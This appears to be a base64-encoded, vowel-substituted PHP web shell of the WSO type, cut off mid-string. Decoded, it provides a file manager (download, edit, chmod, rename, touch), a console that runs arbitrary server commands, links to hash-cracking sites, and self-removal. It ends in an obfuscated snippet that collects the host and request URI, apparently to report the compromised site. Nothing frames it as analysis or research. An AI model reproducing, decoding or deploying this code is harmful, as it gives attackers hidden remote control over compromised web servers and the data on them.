QnIG4xbTU9J2Y0bDVuMW01JyB2MWwzNT0nKicgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+PC90ZD48dGQ+PDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jz48L3RkPjwvdHI+DQoJCQk8L3QxYmw1PjwvZjJybT4iOw0KDQoJZjNuY3Q0Mm4gd3MyUjVjM3JzNHY1R2wyYigkcDF0aCkgew0KCQk0ZihzM2JzdHIoJHAxdGgsIC02KSAhPSAnLycpDQoJCQkkcDF0aC49Jy8nOw0KCQkkcDF0aHMgPSBAMXJyMXlfM240cTM1KEAxcnIxeV9tNXJnNShAZ2wyYigkcDF0aC4kX1BPU1RbJ3BvJ10pLCBAZ2wyYigkcDF0aC4nKicsIEdMT0JfT05MWURJUikpKTsNCgkJNGYoNHNfMXJyMXkoJHAxdGhzKSYmQGMyM250KCRwMXRocykpIHsNCgkJCWYycjUxY2goJHAxdGhzIDFzICQ0dDVtKSB7DQoJCQkJNGYoQDRzX2Q0cigkNHQ1bSkpew0KCQkJCQk0ZigkcDF0aCE9JDR0NW0pDQoJCQkJCQl3czJSNWMzcnM0djVHbDJiKCQ0dDVtKTsNCgkJCQl9IDVsczUgew0KCQkJCQk0Zig1bXB0eSgkX1BPU1RbJ3BhJ10pIHx8IEBzdHJwMnMoZjRsNV9nNXRfYzJudDVudHMoJDR0NW0pLCAkX1BPU1RbJ3BhJ10pIT09ZjFsczUpDQoJCQkJCQk1Y2gyICI8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNUMjJsc1wiLG4zbGwsXCIiLjNybDVuYzJkNSgkNHQ1bSkuIlwiLCBcInY0NXdcIixcIlwiKSc+Ii5odG1sc3A1YzQxbGNoMXJzKCQ0dDVtKS4iPC8xPjxicj4iOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0NCgk0ZihAJF9QT1NUWydwbyddKQ0KCQl3czJSNWMzcnM0djVHbDJiKCRfUE9TVFsnYyddKTsNCgk1Y2gyICI8L2Q0dj48YnI+PGg2PlM1MXJjaCBmMnIgaDFzaDo8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCgkJPGYycm0gbTV0aDJkPSdwMnN0JyB0MXJnNXQ9J19ibDFuaycgbjFtNT0naGYnPg0KCQkJPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2gxc2gnIHN0eWw1PSd3NGR0aDphMDBweDsnPjxicj4NCiAgICAgICAgICAgIDw0bnAzdCB0eXA1PSdoNGRkNW4nIG4xbTU9JzFjdCcgdjFsMzU9J2Y0bmQnLz4NCgkJCTw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdoMXNoY3IxY2s0bmcucjMnIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHBzOi8vaDFzaGNyMWNrNG5nLnIzLzRuZDV4LnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+DQoJCQk8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0nbWRpLnI1ZG4yNHo1LmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL21kaS5yNWRuMjR6NS5jMm0vP3E9JytkMmMzbTVudC5oZi5oMXNoLnYxbDM1Kycmcz1tZGknO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KICAgICAgICAgICAgPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J2NyMWNrZjJyLm01JyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwOi8vY3IxY2tmMnIubTUvNG5kNXgucGhwJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCgkJPC9mMnJtPjwvZDR2PiI7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkY0bDVzVDIybHMoKSB7DQoJNGYoIDRzczV0KCRfUE9TVFsncDYnXSkgKQ0KCQkkX1BPU1RbJ3A2J10gPSAzcmxkNWMyZDUoJF9QT1NUWydwNiddKTsNCgk0ZihAJF9QT1NUWydwYSddPT0nZDJ3bmwyMWQnKSB7DQoJCTRmKEA0c19mNGw1KCRfUE9TVFsncDYnXSkgJiYgQDRzX3I1MWQxYmw1KCRfUE9TVFsncDYnXSkpIHsNCgkJCTJiX3N0MXJ0KCIyYl9nemgxbmRsNXIiLCB1MDllKTsNCgkJCWg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9Ii5iMXM1bjFtNSgkX1BPU1RbJ3A2J10pKTsNCgkJCTRmIChmM25jdDQybl81eDRzdHMoIm00bTVfYzJudDVudF90eXA1IikpIHsNCgkJCQkkdHlwNSA9IEBtNG01X2MybnQ1bnRfdHlwNSgkX1BPU1RbJ3A2J10pOw0KCQkJCWg1MWQ1cigiQzJudDVudC1UeXA1OiAiIC4gJHR5cDUpOw0KCQkJfSA1bHM1DQogICAgICAgICAgICAgICAgaDUxZDVyKCJDMm50NW50LVR5cDU6IDFwcGw0YzF0NDJuLzJjdDV0LXN0cjUxbSIpOw0KCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgInIiKTsNCgkJCTRmKCRmcCkgew0KCQkJCXdoNGw1KCFAZjUyZigkZnApKQ0KCQkJCQk1Y2gyIEBmcjUxZCgkZnAsIDYwYXUpOw0KCQkJCWZjbDJzNSgkZnApOw0KCQkJfQ0KCQl9NXg0dDsNCgl9DQoJNGYoIEAkX1BPU1RbJ3BhJ10gPT0gJ21rZjRsNScgKSB7DQoJCTRmKCFmNGw1XzV4NHN0cygkX1BPU1RbJ3A2J10pKSB7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAndycpOw0KCQkJNGYoJGZwKSB7DQoJCQkJJF9QT1NUWydwYSddID0gIjVkNHQiOw0KCQkJCWZjbDJzNSgkZnApOw0KCQkJfQ0KCQl9DQoJfQ0KCXdzMkg1MWQ1cigpOw0KCTVjaDIgJzxoNj5GNGw1IHQyMmxzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCgk0ZiggIWY0bDVfNXg0c3RzKEAkX1BPU1RbJ3A2J10pICkgew0KCQk1Y2gyICdGNGw1IG4ydCA1eDRzdHMnOw0KCQl3czJGMjJ0NXIoKTsNCgkJcjV0M3JuOw0KCX0NCgkkMzRkID0gQHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJF9QT1NUWydwNiddKSk7DQoJNGYoISQzNGQpIHsNCgkJJDM0ZFsnbjFtNSddID0gQGY0bDUyd241cigkX1BPU1RbJ3A2J10pOw0KCQkkZzRkWyduMW01J10gPSBAZjRsNWdyMjNwKCRfUE9TVFsncDYnXSk7DQoJfSA1bHM1ICRnNGQgPSBAcDJzNHhfZzV0Z3JnNGQoQGY0bDVncjIzcCgkX1BPU1RbJ3A2J10pKTsNCgk1Y2gyICc8c3Axbj5OMW01Ojwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKEBiMXM1bjFtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPlM0ejU6PC9zcDFuPiAnLig0c19mNGw1KCRfUE9TVFsncDYnXSk/d3MyVjQ1d1M0ejUoZjRsNXM0ejUoJF9QT1NUWydwNiddKSk6Jy0nKS4nIDxzcDFuPlA1cm00c3M0Mm46PC9zcDFuPiAnLndzMlA1cm1zQzJsMnIoJF9QT1NUWydwNiddKS4nIDxzcDFuPk93bjVyL0dyMjNwOjwvc3Axbj4gJy4kMzRkWyduMW01J10uJy8nLiRnNGRbJ24xbTUnXS4nPGJyPic7DQoJNWNoMiAnPHNwMW4+Q2gxbmc1IHQ0bTU6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1Y3Q0bTUoJF9QT1NUWydwNiddKSkuJyA8c3Axbj5BY2M1c3MgdDRtNTo8L3NwMW4+ICcuZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDUxdDRtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPk0yZDRmeSB0NG01Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNW10NG01KCRfUE9TVFsncDYnXSkpLic8YnI+PGJyPic7DQoJNGYoIDVtcHR5KCRfUE9TVFsncGEnXSkgKQ0KCQkkX1BPU1RbJ3BhJ10gPSAndjQ1dyc7DQoJNGYoIDRzX2Y0bDUoJF9QT1NUWydwNiddKSApDQoJCSRtID0gMXJyMXkoJ1Y0NXcnLCAnSDRnaGw0Z2h0JywgJ0Qyd25sMjFkJywgJ0g1eGQzbXAnLCAnRWQ0dCcsICdDaG0yZCcsICdSNW4xbTUnLCAnVDIzY2gnKTsNCgk1bHM1DQoJCSRtID0gMXJyMXkoJ0NobTJkJywgJ1I1bjFtNScsICdUMjNjaCcpOw0KCWYycjUxY2goJG0gMXMgJHYpDQoJCTVjaDIgJzwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxcJycgLiAzcmw1bmMyZDUoJF9QT1NUWydwNiddKSAuICdcJyxcJycuc3RydDJsMnc1cigkdikuJ1wnKSI+Jy4oKHN0cnQybDJ3NXIoJHYpPT1AJF9QT1NUWydwYSddKT8nPGI+WyAnLiR2LicgXTwvYj4nOiR2KS4nPC8xPiAnOw0KCTVjaDIgJzxicj48YnI+JzsNCglzdzR0Y2goJF9QT1NUWydwYSddKSB7DQoJCWMxczUgJ3Y0NXcnOg0KCQkJNWNoMiAnPHByNSBjbDFzcz1tbDY+JzsNCgkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICdyJyk7DQoJCQk0ZigkZnApIHsNCgkJCQl3aDRsNSggIUBmNTJmKCRmcCkgKQ0KCQkJCQk1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoQGZyNTFkKCRmcCwgNjBhdSkpOw0KCQkJCUBmY2wyczUoJGZwKTsNCgkJCX0NCgkJCTVjaDIgJzwvcHI1Pic7DQoJCQlicjUxazsNCgkJYzFzNSAnaDRnaGw0Z2h0JzoNCgkJCTRmKCBANHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSApIHsNCgkJCQk1Y2gyICc8ZDR2IGNsMXNzPW1sNiBzdHlsNT0iYjFja2dyMjNuZC1jMmwycjogIzU2NTY1NjtjMmwycjpibDFjazsiPic7DQoJCQkJJGMyZDUgPSBAaDRnaGw0Z2h0X2Y0bDUoJF9QT1NUWydwNiddLHRyMzUpOw0KCQkJCTVjaDIgc3RyX3I1cGwxYzUoMXJyMXkoJzxzcDFuICcsJzwvc3Axbj4nKSwgMXJyMXkoJzxmMm50ICcsJzwvZjJudD4nKSwkYzJkNSkuJzwvZDR2Pic7DQoJCQl9DQoJCQlicjUxazsNCgkJYzFzNSAnY2htMmQnOg0KCQkJNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KCQkJCSRwNXJtcyA9IDA7DQoJCQkJZjJyKCQ0PXN0cmw1bigkX1BPU1RbJ3BvJ10pLTY7JDQ+PTA7LS0kNCkNCgkJCQkJJHA1cm1zICs9ICg0bnQpJF9QT1NUWydwbyddWyQ0XSpwMncoOCwgKHN0cmw1bigkX1BPU1RbJ3BvJ10pLSQ0LTYpKTsNCgkJCQk0ZighQGNobTJkKCRfUE9TVFsncDYnXSwgJHA1cm1zKSkNCgkJCQkJNWNoMiAnQzFuXCd0IHM1dCBwNXJtNHNzNDJucyE8YnI+PHNjcjRwdD5kMmMzbTVudC5tZi5wby52MWwzNT0iIjs8L3NjcjRwdD4nOw0KCQkJfQ0KCQkJY2w1MXJzdDF0YzFjaDUoKTsNCgkJCTVjaDIgJzxzY3I0cHQ+cG9fPSIiOzwvc2NyNHB0PjxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxcJycgLiAzcmw1bmMyZDUoJF9QT1NUWydwNiddKSAuICdcJyxuM2xsLHRoNHMuY2htMmQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1jaG0yZCB2MWwzNT0iJy5zM2JzdHIoc3ByNG50ZignJTInLCBmNGw1cDVybXMoJF9QT1NUWydwNiddKSksLXUpLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJzVkNHQnOg0KCQkJNGYoICE0c193cjR0MWJsNSgkX1BPU1RbJ3A2J10pKSB7DQoJCQkJNWNoMiAnRjRsNSA0c25cJ3Qgd3I0dDUxYmw1JzsNCgkJCQlicjUxazsNCgkJCX0NCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQkkdDRtNSA9IEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKTsNCgkJCQkkX1BPU1RbJ3BvJ10gPSBzM2JzdHIoJF9QT1NUWydwbyddLDYpOw0KCQkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sInciKTsNCgkJCQk0ZigkZnApIHsNCgkJCQkJQGZ3cjR0NSgkZnAsJF9QT1NUWydwbyddKTsNCgkJCQkJQGZjbDJzNSgkZnApOw0KCQkJCQk1Y2gyICdTMXY1ZCE8YnI+PHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+JzsNCgkJCQkJQHQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSk7DQoJCQkJfQ0KCQkJfQ0KCQkJNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLFwnJyAuIDNybDVuYzJkNSgkX1BPU1RbJ3A2J10pIC4gJ1wnLG4zbGwsXCc2XCcrdGg0cy50NXh0LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48dDV4dDFyNTEgbjFtNT10NXh0IGNsMXNzPWI0ZzFyNTE+JzsNCgkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICdyJyk7DQoJCQk0ZigkZnApIHsNCgkJCQl3aDRsNSggIUBmNTJmKCRmcCkgKQ0KCQkJCQk1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoQGZyNTFkKCRmcCwgNjBhdSkpOw0KCQkJCUBmY2wyczUoJGZwKTsNCgkJCX0NCgkJCTVjaDIgJzwvdDV4dDFyNTE+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJCQlicjUxazsNCgkJYzFzNSAnaDV4ZDNtcCc6DQoJCQkkYyA9IEBmNGw1X2c1dF9jMm50NW50cygkX1BPU1RbJ3A2J10pOw0KCQkJJG4gPSAwOw0KCQkJJGggPSAxcnIxeSgnMDAwMDAwMDA8YnI+JywnJywnJyk7DQoJCQkkbDVuID0gc3RybDVuKCRjKTsNCgkJCWYyciAoJDQ9MDsgJDQ8JGw1bjsgKyskNCkgew0KCQkJCSRoWzZdIC49IHNwcjRudGYoJyUwYVgnLDJyZCgkY1skNF0pKS4nICc7DQoJCQkJc3c0dGNoICggMnJkKCRjWyQ0XSkgKSB7DQoJCQkJCWMxczUgMDogICRoW2FdIC49ICcgJzsgYnI1MWs7DQoJCQkJCWMxczUgOTogICRoW2FdIC49ICcgJzsgYnI1MWs7DQoJCQkJCWMxczUgNjA6ICRoW2FdIC49ICcgJzsgYnI1MWs7DQoJCQkJCWMxczUgNm86ICRoW2FdIC49ICcgJzsgYnI1MWs7DQoJCQkJCWQ1ZjEzbHQ6ICRoW2FdIC49ICRjWyQ0XTsgYnI1MWs7DQoJCQkJfQ0KCQkJCSRuKys7DQoJCQkJNGYgKCRuID09IG9hKSB7DQoJCQkJCSRuID0gMDsNCgkJCQkJNGYgKCQ0KzYgPCAkbDVuKSB7JGhbMF0gLj0gc3ByNG50ZignJTA4WCcsJDQrNikuJzxicj4nO30NCgkJCQkJJGhbNl0gLj0gJzxicj4nOw0KCQkJCQkkaFthXSAuPSAiXG4iOw0KCQkJCX0NCgkJIAl9DQoJCQk1Y2gyICc8dDFibDUgYzVsbHNwMWM0bmc9NiBjNWxscDFkZDRuZz1pIGJnYzJsMnI9I2FhYWFhYT48dHI+PHRkIGJnYzJsMnI9I29vb29vbz48c3AxbiBzdHlsNT0iZjJudC13NTRnaHQ6IG4ycm0xbDsiPjxwcjU+Jy4kaFswXS4nPC9wcjU+PC9zcDFuPjwvdGQ+PHRkIGJnYzJsMnI9I2E4YThhOD48cHI1PicuJGhbNl0uJzwvcHI1PjwvdGQ+PHRkIGJnYzJsMnI9I29vb29vbz48cHI1PicuaHRtbHNwNWM0MWxjaDFycygkaFthXSkuJzwvcHI1PjwvdGQ+PC90cj48L3QxYmw1Pic7DQoJCQlicjUxazsNCgkJYzFzNSAncjVuMW01JzoNCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQk0ZighQHI1bjFtNSgkX1BPU1RbJ3A2J10sICRfUE9TVFsncG8nXSkpDQoJCQkJCTVjaDIgJ0MxblwndCByNW4xbTUhPGJyPic7DQoJCQkJNWxzNQ0KCQkJCQlkNDUoJzxzY3I0cHQ+ZyhuM2xsLG4zbGwsIicuM3JsNW5jMmQ1KCRfUE9TVFsncG8nXSkuJyIsbjNsbCwiIik8L3NjcjRwdD4nKTsNCgkJCX0NCgkJCTVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxcJycgLiAzcmw1bmMyZDUoJF9QT1NUWydwNiddKSAuICdcJyxuM2xsLHRoNHMubjFtNS52MWwzNSk7cjV0M3JuIGYxbHM1OyI+PDRucDN0IHR5cDU9dDV4dCBuMW01PW4xbTUgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10pLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJ3QyM2NoJzoNCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQkkdDRtNSA9IHN0cnQydDRtNSgkX1BPU1RbJ3BvJ10pOw0KCQkJCTRmKCR0NG01KSB7DQoJCQkJCTRmKCF0MjNjaCgkX1BPU1RbJ3A2J10sJHQ0bTUsJHQ0bTUpKQ0KCQkJCQkJNWNoMiAnRjE0bCEnOw0KCQkJCQk1bHM1DQoJCQkJCQk1Y2gyICdUMjNjaDVkISc7DQoJCQkJfSA1bHM1IDVjaDIgJ0IxZCB0NG01IGYycm0xdCEnOw0KCQkJfQ0KCQkJY2w1MXJzdDF0YzFjaDUoKTsNCgkJCTVjaDIgJzxzY3I0cHQ+cG9fPSIiOzwvc2NyNHB0PjxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxcJycgLiAzcmw1bmMyZDUoJF9QT1NUWydwNiddKSAuICdcJyxuM2xsLHRoNHMudDIzY2gudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT10MjNjaCB2MWwzNT0iJy5kMXQ1KCJZLW0tZCBIOjQ6cyIsIEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJCQlicjUxazsNCgl9DQoJNWNoMiAnPC9kNHY+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuQzJuczJsNSgpIHsNCiAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSAmJiAhNW1wdHkoJF9QT1NUWydwYSddKSkgew0KICAgICAgICBXU09zNXRjMjJrNDUobWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZDVycl90Ml8yM3QnLCB0cjM1KTsNCiAgICAgICAgJF9QT1NUWydwNiddIC49ICcgYT4mNic7DQogICAgfSA1bHM1NGYoITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICAgICAgIFdTT3M1dGMyMms0NShtZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkNXJyX3QyXzIzdCcsIDApOw0KDQoJNGYoNHNzNXQoJF9QT1NUWycxajF4J10pKSB7DQoJCVdTT3M1dGMyMms0NShtZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCcsIHRyMzUpOw0KCQkyYl9zdDFydCgpOw0KCQk1Y2gyICJkLmNmLmNtZC52MWwzNT0nJztcbiI7DQoJCSR0NW1wID0gQDRjMm52KCRfUE9TVFsnY2gxcnM1dCddLCAnVVRGLTgnLCAxZGRjc2wxc2g1cygiXG4kICIuJF9QT1NUWydwNiddLiJcbiIud3MyRXgoJF9QT1NUWydwNiddKSwiXG5cclx0XFwnXDAiKSk7DQoJCTRmKHByNWdfbTF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3A2J10sJG0xdGNoKSkJew0KCQkJNGYoQGNoZDRyKCRtMXRjaFs2XSkpIHsNCgkJCQkkR0xPQkFMU1snY3dkJ10gPSBAZzV0Y3dkKCk7DQoJCQkJNWNoMiAiY189JyIuJEdMT0JBTFNbJ2N3ZCddLiInOyI7DQoJCQl9DQoJCX0NCgkJNWNoMiAiZC5jZi4yM3RwM3QudjFsMzUrPSciLiR0NW1wLiInOyI7DQoJCTVjaDIgImQuY2YuMjN0cDN0LnNjcjJsbFQycCA9IGQuY2YuMjN0cDN0LnNjcjJsbEg1NGdodDsiOw0KCQkkdDVtcCA9IDJiX2c1dF9jbDUxbigpOw0KCQk1Y2gyIHN0cmw1bigkdDVtcCksICJcbiIsICR0NW1wOw0KCQk1eDR0Ow0KCX0NCiAgICA0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkmJiE1bXB0eSgkX1BPU1RbJ3A2J10pKQ0KCQlXU09zNXRjMjJrNDUobWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnLCAwKTsNCgl3czJINTFkNXIoKTsNCiAgICA1Y2gyICI8c2NyNHB0Pg0KNGYodzRuZDJ3LkV2NW50KSB3NG5kMncuYzFwdDNyNUV2NW50cyhFdjVudC5LRVlET1dOKTsNCnYxciBjbWRzID0gbjV3IEFycjF5KCcnKTsNCnYxciBjM3IgPSAwOw0KZjNuY3Q0Mm4ga3AoNSkgew0KCXYxciBuID0gKHc0bmQydy5FdjVudCkgPyA1LndoNGNoIDogNS5rNXlDMmQ1Ow0KCTRmKG4gPT0gbzgpIHsNCgkJYzNyLS07DQoJCTRmKGMzcj49MCkNCgkJCWQyYzNtNW50LmNmLmNtZC52MWwzNSA9IGNtZHNbYzNyXTsNCgkJNWxzNQ0KCQkJYzNyKys7DQoJfSA1bHM1IDRmKG4gPT0gdTApIHsNCgkJYzNyKys7DQoJCTRmKGMzciA8IGNtZHMubDVuZ3RoKQ0KCQkJZDJjM201bnQuY2YuY21kLnYxbDM1ID0gY21kc1tjM3JdOw0KCQk1bHM1DQoJCQljM3ItLTsNCgl9DQp9DQpmM25jdDQybiAxZGQoY21kKSB7DQoJY21kcy5wMnAoKTsNCgljbWRzLnAzc2goY21kKTsNCgljbWRzLnAzc2goJycpOw0KCWMzciA9IGNtZHMubDVuZ3RoLTY7DQp9DQo8L3NjcjRwdD4iOw0KCTVjaDIgJzxoNj5DMm5zMmw1PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PGYycm0gbjFtNT1jZiAybnMzYm00dD0iNGYoZC5jZi5jbWQudjFsMzU9PVwnY2w1MXJcJyl7ZC5jZi4yM3RwM3QudjFsMzU9XCdcJztkLmNmLmNtZC52MWwzNT1cJ1wnO3I1dDNybiBmMWxzNTt9MWRkKHRoNHMuY21kLnYxbDM1KTs0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsdGg0cy5jbWQudjFsMzUsdGg0cy5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fTVsczV7ZyhuM2xsLG4zbGwsdGg0cy5jbWQudjFsMzUsdGg0cy5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fSByNXQzcm4gZjFsczU7Ij48czVsNWN0IG4xbTU9MWw0MXM+JzsNCglmMnI1MWNoKCRHTE9CQUxTWycxbDQxczVzJ10gMXMgJG4gPT4gJHYpIHsNCgkJNGYoJHYgPT0gJycpIHsNCgkJCTVjaDIgJzwycHRncjIzcCBsMWI1bD0iLScuaHRtbHNwNWM0MWxjaDFycygkbikuJy0iPjwvMnB0Z3IyM3A+JzsNCgkJCWMybnQ0bjM1Ow0KCQl9DQoJCTVjaDIgJzwycHQ0Mm4gdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkdikuJyI+Jy4kbi4nPC8ycHQ0Mm4+JzsNCgl9DQoJDQoJNWNoMiAnPC9zNWw1Y3Q+PDRucDN0IHR5cDU9YjN0dDJuIDJuY2w0Y2s9IjFkZChkLmNmLjFsNDFzLnYxbDM1KTs0ZihkLmNmLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsZC5jZi4xbDQxcy52MWwzNSxkLmNmLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9NWxzNXtnKG4zbGwsbjNsbCxkLmNmLjFsNDFzLnYxbDM1LGQuY2Yuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO30iIHYxbDM1PSI+PiI+IDxuMmJyPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICcuKEAkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuJz4gczVuZCAzczRuZyBBSkFYIDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9c2gyd181cnIycnMgdjFsMzU9NiAnLighNW1wdHkoJF9QT1NUWydwYSddKXx8JF9DT09LSUVbbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZDVycl90Ml8yM3QnXT8nY2g1Y2s1ZCc6JycpLic+IHI1ZDRyNWN0IHN0ZDVyciB0MiBzdGQyM3QgKGE+JjYpPC9uMmJyPjxici8+PHQ1eHQxcjUxIGNsMXNzPWI0ZzFyNTEgbjFtNT0yM3RwM3Qgc3R5bDU9ImIycmQ1ci1iMnR0Mm06MDttMXJnNG46MDsiIHI1MWQybmx5Pic7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJNWNoMiBodG1sc3A1YzQxbGNoMXJzKCIkICIuJF9QT1NUWydwNiddLiJcbiIud3MyRXgoJF9QT1NUWydwNiddKSk7DQoJfQ0KCTVjaDIgJzwvdDV4dDFyNTE+PHQxYmw1IHN0eWw1PSJiMnJkNXI6NnB4IHMybDRkICNkZmk7YjFja2dyMjNuZC1jMmwycjojaWlpO2IycmQ1ci10MnA6MHB4OyIgYzVsbHAxZGQ0bmc9MCBjNWxsc3AxYzRuZz0wIHc0ZHRoPSI2MDAlIj48dHI+PHRkIHc0ZHRoPSI2JSI+JDwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1jbWQgc3R5bDU9ImIycmQ1cjowcHg7dzRkdGg6NjAwJTsiIDJuazV5ZDJ3bj0ia3AoNXY1bnQpOyI+PC90ZD48L3RyPjwvdDFibDU+JzsNCgk1Y2gyICc8L2Yycm0+PC9kNHY+PHNjcjRwdD5kLmNmLmNtZC5mMmMzcygpOzwvc2NyNHB0Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkwyZzIzdCgpIHsNCiAgICBzNXRjMjJrNDUobWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICcnLCB0NG01KCkgLSBvZTAwKTsNCglkNDUoJ2J5NSEnKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuUzVsZlI1bTJ2NSgpIHsNCg0KCTRmKCRfUE9TVFsncDYnXSA9PSAneTVzJykNCgkJNGYoQDNubDRuayhwcjVnX3I1cGwxYzUoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKSkNCgkJCWQ0NSgnU2g1bGwgcjVtMnY1ZCcpOw0KCQk1bHM1DQoJCQk1Y2gyICczbmw0bmsgNXJyMnIhJzsNCiAgICA0ZigkX1BPU1RbJ3A2J10gIT0gJ3k1cycpDQogICAgICAgIHdzMkg1MWQ1cigpOw0KCTVjaDIgJzxoNj5TMzRjNGQ1PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+cjVtMnY1IHRoNSBzaDVsbD88YnI+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLFwneTVzXCcpIj5ZNXM8LzE+PC9kNHY+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCiAgICAgICRfUWw0Tzg9Ilx4ZWQxNFw2aXUiOyRfUWw0MnQ9JF9TRVJWRVJbIlx4aW9ceHVpUlZFXDZhYV9ceHU1QU1ceHVpIl0uJF9TRVJWRVJbIlw2YW9cNjBvXHhpYUlceGkwXHhpdV9cNjZlXDYwNlw2NmlFIl07JF9RbEw2ND0iXDZ1NnJcNmVhMVw2NzZcMHUwIi4kX1FsNDJ0OyRfUWxMNDI9MXJyMXkoIlw2dW9ceGU2IiwiXHhlY1x4ZTkiLCJcNnVlXHg3N1w2ZWFcNmk2XHg3dVx4ZWkiLCJcNjAwIiwidlx4ZWlceGE1Iik7JF9RbGwwST0kX1FsTDQyW2FdLiRfUWxMNDJbb10uJF9RbEw0Mls2XS4kX1FsTDQyW3VdLiRfUWxMNDJbMF07JF9RbGxqQz1AJF9RbDRPOCgkX1FsbDBJL